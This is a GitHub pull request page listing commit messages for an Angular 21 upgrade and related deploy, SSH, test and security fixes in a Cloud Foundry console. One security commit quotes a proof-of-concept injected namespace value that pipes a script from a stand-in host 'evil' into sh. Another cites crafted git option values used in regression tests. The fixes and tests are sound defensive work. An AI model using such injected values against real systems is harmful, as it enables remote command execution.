Angular 21 upgrade and post-merge improvements#5304
Merged
Conversation
CommitListWrapperComponent did not include DatePipe in its providers
array. Its base class (GithubCommitsListConfigServiceBase) injects
DatePipe via a field initializer and uses it to format the "Date"
column, so instantiating the service inside this wrapper's injector
raised NG0201 and wedged the stepper (Previous button stopped working
as a side-effect). Add DatePipe to the component's providers to match
the pattern already used by gitscm-tab, services-wall, routes-tab,
cloud-foundry-quotas, application-wall, etc.
Also drop five unused inject(DatePipe) declarations in sibling
list-config classes. These declared datePipe as a local constant in
the constructor, never used it, and did not forward it to super().
The base-class-using forwarders (cf-routes, cf-app-routes, delete
flows, etc.) are left untouched since they pass datePipe through
super() into a base class that still needs it.
Browser-verified on local ng serve against adepttech CF:
- Deploy wizard GitHub -> Source Config renders commit list with
dates (the previously failing path)
- cf-app wall, space apps, space routes, space+user service
instances, services wall, CF quotas, app service bindings, app
delete dialog: all render clean with zero NG0201
After a deploy failure the user clicks Previous to fix the config and comes back to step 3 for a retry. The stepper keeps the step 3 component alive across this navigation (it's rendered inside a plain <app-step> with no @if gate in deploy-application.component.html), so ngOnDestroy — the only call site of destroyDeployer() — never fires. Each re-entry called onEnter, which: 1. overwrote this.deployer with a fresh DeployApplicationDeployer without calling close() on the prior instance, so the old deployer's websocket stayed connected; 2. called initDeployer(), which pushed another six subscriptions onto this.subscriptions[] without clearing the existing ones. The stale error-snackbar subscription (status$.pipe(filter(s => s.error))) stayed wired to the old deployer's status signal, which was still holding the previous errorMsg. Any later emission on that stale signal re-opened the old error popup on top of the retry, which is what the user reported: "the error message reappears, but does not exist." Fix: tear down prior subscriptions via destroyDeployer() and close the old deployer at the top of onEnter, before wiring up the replacement. First-entry path is unaffected — destroyDeployer() is a no-op on an empty subscription array and the close() is guarded by a deployer presence check.
Two route-level standalone components inject DatePipe for their list column definitions but do not list it in their providers array: - ApplicationDeleteComponent (/applications/:cf/:app/delete) - DetachServiceInstanceComponent Under Angular 21 DatePipe is no longer ambient via CommonModule, and neither component has an ancestor that provides it — they are rendered directly by their own route, not as a child of application-wall or a similar parent whose providers array happens to include DatePipe. The injection therefore fails with NG0201 as soon as the dialog is shown, leaving the user with a blank screen and a NullInjectorError in the console. Fix: add DatePipe to each component's providers array. Pattern matches commit-list-wrapper from c77abb1 and helm-release-card which already does this for the K8s delete flow. The earlier DatePipe sweep dodged this by replacing inject(DatePipe) + datePipe.transform() with the formatDate() pure function, which also worked. Swapping formatDate in would have hardcoded the 'en-US' locale and touched more files; providing DatePipe keeps the LOCALE_ID token behavior and is the narrower change.
Two issues on the deploy wizard retry path (Previous → fix → redeploy): 1. Log viewer stopped updating. The prior deployer teardown (838e001) creates a fresh DeployApplicationDeployer with a new messages observable, but LogViewerComponent only subscribed to its logStream input once in ngOnInit and ignored subsequent input changes. Wrap the input in an internal BehaviorSubject and feed it into the subscription chain via combineLatest + switchMap so a new observable triggers unsubscribe-from-old, subscribe-to-new automatically. 2. Buttons carried stale state from the prior attempt. "Go to App Summary" stayed active after a successful first push, Previous stayed unlocked, closeable was still true. Reset all UI-driving subjects (valid, closeable, showOverlay, disablePrevious, error) to their initial values at the top of onEnter before constructing the replacement deployer.
Backend and frontend for the UAA-token copy feature (FWT-924) already shipped on this branch; only frontend spec coverage was missing. Cover menu toggle, auth/refresh copy paths, empty-token snackbar, and clipboard-reject error path using vitest HTTP testing and a navigator.clipboard mock.
Feature (GitHub Enterprise URL + Personal Access Token deploy) already shipped on this branch (FWT-925); only spec coverage was missing. Spec was blocked by an EntityCatalogHelper init TODO. Applied the EntityCatalog test pattern from the cf-org-space service spec (EntityCatalogTestModule, TEST_CATALOGUE_ENTITIES with generateStratosEntities + generateCFEntities, SetEntityCatalogHelper in beforeEach). Added an ActivatedRoute stub (field is injected but unused). TestBed.createComponent now succeeds. Cover applyGithubEnterpriseAndToken via direct invocation with a mock SCM: invalid URL flag, valid URL sets public API, token set and clear, empty URL is a no-op, non-GitHub SCM skips token handling.
PR 5053's behavior (ServiceInstanceLastServiceBinding + TableCellLastServiceBinding, services-wall card row, list column, csi-mode showBindApp fix, add-service-instance change-detection / apps$ subscription) already shipped on this branch, modernized beyond upstream with signals and toObservable. Only spec coverage was missing. Add standalone + zoneless + vitest specs for the two new components: - service-instance-last-service-binding: no-bindings dash, populated render, in-progress / succeeded / failed indicators, uses last binding in multi-binding arrays. - table-cell-last-service-binding: isUserProvidedServiceInstance toggle from entityKey, conditional child rendering vs dash.
Was pinned to v8.7.3 (Sep 2023) via pseudo-version. Jump to the
current v8 maintenance-branch tip (Apr 2026, 372 commits ahead)
to unblock local cfapppush test execution.
The old pin failed local go test with a type mismatch between
CLI-generated v8-typed function literals and the v9-typed
client.Visitor / client.Reader interfaces that go-log-cache
now exposes:
actor/sharedaction/logging.go:148:21: cannot convert
func([]*v8.Envelope) bool to type client.Visitor
The v8 branch resolved this by switching sharedaction to
go-log-cache/v2 and go-loggregator/v9.
Import paths updated cli/... -> cli/v8/... across four files.
Accommodated one API change: NewManifestDiffDisplayer is no
longer exported; use direct struct init instead.
Verified: 6 existing cfapppush tests pass; make build backend
cross-compiles clean on all 6 platforms. No runtime behavior
change on the push path.
FWT-927
Add '--' separator to the createCmd and resetToCommitCmd templates so user-controlled repo / branch / commit values starting with '-' or '--' are parsed by git as positionals, not options. Closes the CVE-2017-1000117 class at the template boundary regardless of the git version executing the command. Four new unit tests pin the template shape and assert that a crafted value of --upload-pack=evil / -exec=evil lands in an argv slot after the separator. FWT-922
FWT-925 AC committed to at least one test driving applyGithubEnterpriseAndToken via the sourceSelectionForm valueChanges subscription, not just direct method invocation. Mock sourceSelectionForm with a Subject, stub updateSuggestedRepositories to keep the switchMap pipe green, call setupForGit to wire the subscription, and subscribe to suggestedRepos$ to make the pipe hot. Emit a form value with githubEnterpriseUrl + githubAccessToken set; assert SCM setPublicApi and setAccessToken get called through the tap. Residual async errors from unrelated store selectors in setupForGit (deploy-application state not initialised) are noise; the assertion path still executes cleanly. FWT-925
PR 5053's behavior fix: when the create-instance stepper launches from the top-level services wall (no endpointId in the route), showBindApp is set to false so async-provisioned instances don't fail the inline bind step. Extend the existing csi-mode spec with six new tests: hides bind-app, reports SERVICES_WALL_MODE, other steps stay visible; plus comparison tests for MARKETPLACE_MODE and APP_SERVICES_MODE keeping bind-app visible and EDIT_SERVICE_INSTANCE_MODE hiding it (unrelated reason, worth documenting). FWT-926
kubescore-runner.sh previously spliced the attacker-controlled
namespace parameter into a bash -c string, giving authenticated
users remote command execution on the Stratos backend:
POST /analysis/kube-score
body = {"namespace": "default; curl evil/x.sh | sh; #"}
run.go also wrote multipart parts to filepath.Join(folder,
filename) without checking filename for path separators or ..,
giving authenticated users arbitrary file write.
Four defenses, top to bottom:
1. validateNamespace rejects anything that does not match the
Kubernetes DNS-1123 label rule. Applied at the multipart
unmarshal boundary in run.go and repeated in kubescore.go /
popeye.go entries as defense-in-depth.
2. validateContentID rejects multipart filenames containing
path separators, '..', or an empty value. Also re-checks
the resolved path stays under the job folder after
filepath.Clean.
3. kubescore-runner.sh rewritten: namespace goes into a bash
array so it is always a distinct argv element to kubectl.
No bash -c with interpolation.
4. kubescore-runner.sh also validates $2 against the same
DNS-1123 regex and exits 2 on mismatch. Belt-and-braces in
case the Go layer ever regresses.
Tests: validation_test.go covers empty namespace, valid names,
the actual RCE PoC, shell metacharacters, flat filenames, the
traversal PoC, separators / reserved names, and the resolved
path shape.
FWT-923
Three source-level vet warnings cleaned: - dashboard/proxy.go: Debugf with %s on an int (Status). Use %d for response.StatusCode. - terminal/cleanup.go: log.Debug (not Debugf) called with a format directive. Switch to log.Debugf. - helm/release_test.go: referenced KubeDeploymentResource which was removed when podSelectorToQueryString was simplified to take *metav1.LabelSelector directly. Rewrite the test against the current signature with three fleshed-out cases (empty, single, multi match-labels) instead of the stub with all assertions commented out. Remaining vet noise in the kubernetes plugin is from vendored third-party code (oras-go@v1.2.4 Docker registry API mismatch, kubectl@v0.33.0 cobra API mismatch) and is not addressable here — needs a coordinated dependency bump in a separate change.
The FWT-927 CLI bump pinned cfapppush to CLI v8.18.2, whose actor/sharedaction/logging.go moved from go-loggregator/v8 + go-log-cache (v1) to go-loggregator/v9 + go-log-cache/v2. Main jetstream's cf_websocket_streams.go was still on the v8 / v1 pair, so both versions of the loggregator proto package ended up linked into the same binary. protobuf's global init panics on duplicate registration of loggregator.v2.Event, crashing every backend test. Switch cf_websocket_streams.go to the /v2 log-cache and v9 loggregator packages. The proto-generated types (Envelope, Envelope_Log, Log_Type, Log_OUT / Log_ERR) are name-stable across v8 and v9 since they are generated from the same .proto; no other code needed to change. go mod tidy after the switch confirms v8 loggregator is no longer required in main jetstream. Also pull in the incidental tidy drift in jetstream/go.mod + plugins/kubernetes/go.mod that was out of date for related transitive bumps. FWT-927
Three logrus.Error calls were using Printf-style format directives without the Errorf variant. Go vet flagged them as "possible Printf formatting directive %s". Switch all three to log.Errorf — same behavior, vet-clean. - run.go line 102: Could not write data for: %s (filename) - run.go line 138: Error running analyzer: %s (err) - types.go line 45: Could not delete file: %s (name) go vet ./... on plugins/analysis/container now exits 0.
- Rename isConnecting to attemptingConnection to match the template reference in ssh-application.component.html - Call disconnect() at top of reconnect() to unsubscribe previous msgSubscription before creating a new one, preventing stacked WebSocket connections and cascading caught exceptions on repeated reconnect clicks - Call detectChanges() after setting attemptingConnection so OnPush renders the progress bar during connection instead of showing "Disconnected"
CF SSH proxy requires the web process GUID in the
username. App GUID and process GUID start identical
but diverge when a process is recreated (e.g. cf
scale with disk change). Fetch the actual web process
GUID via v3/apps/{guid}/processes?types=web before
dialing, with fallback to app GUID on error.
- Add !cellDefinition guard to table-cell template to prevent simultaneous inline and dynamic component rendering (double values) - Add shareReplay to transformedEntities$ to prevent transformEntity running twice per store emission - Simplify CfAppInstancesDataSource data path: remove dead isSingleInstance/collection branching, fix getRowUniqueId to return actual index value (was returning property name "index") - Fix card border/shadow styling for instances, status, uptime cards
- Wrap postcss-nested in an Once handler so it runs in phase 1
before Tailwind's detectNesting fires (nested uses visitor API
which runs in phase 2, causing the false warning)
- Add StoreModule.forFeature('deployApplication') to step2 spec
so getApplicationSource selector doesn't crash on undefined state
- Instances card (summary page) navigates to Instances tab - Status and Uptime cards navigate back to Summary tab - Vertically center non-graph cells in instance table rows - Fix action button positioning (top/right spacing now equal) - Add provideRouter([]) to card-app-status and instances-tab specs
norman-abramovitz
changed the title
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Angular 21 Upgrade
SSH Fixes
App Instances Fixes
Deploy Fixes
Log Streaming
Security Hardening
Go / Backend
Test Coverage
App Summary Card Navigation
Test plan
make gate-check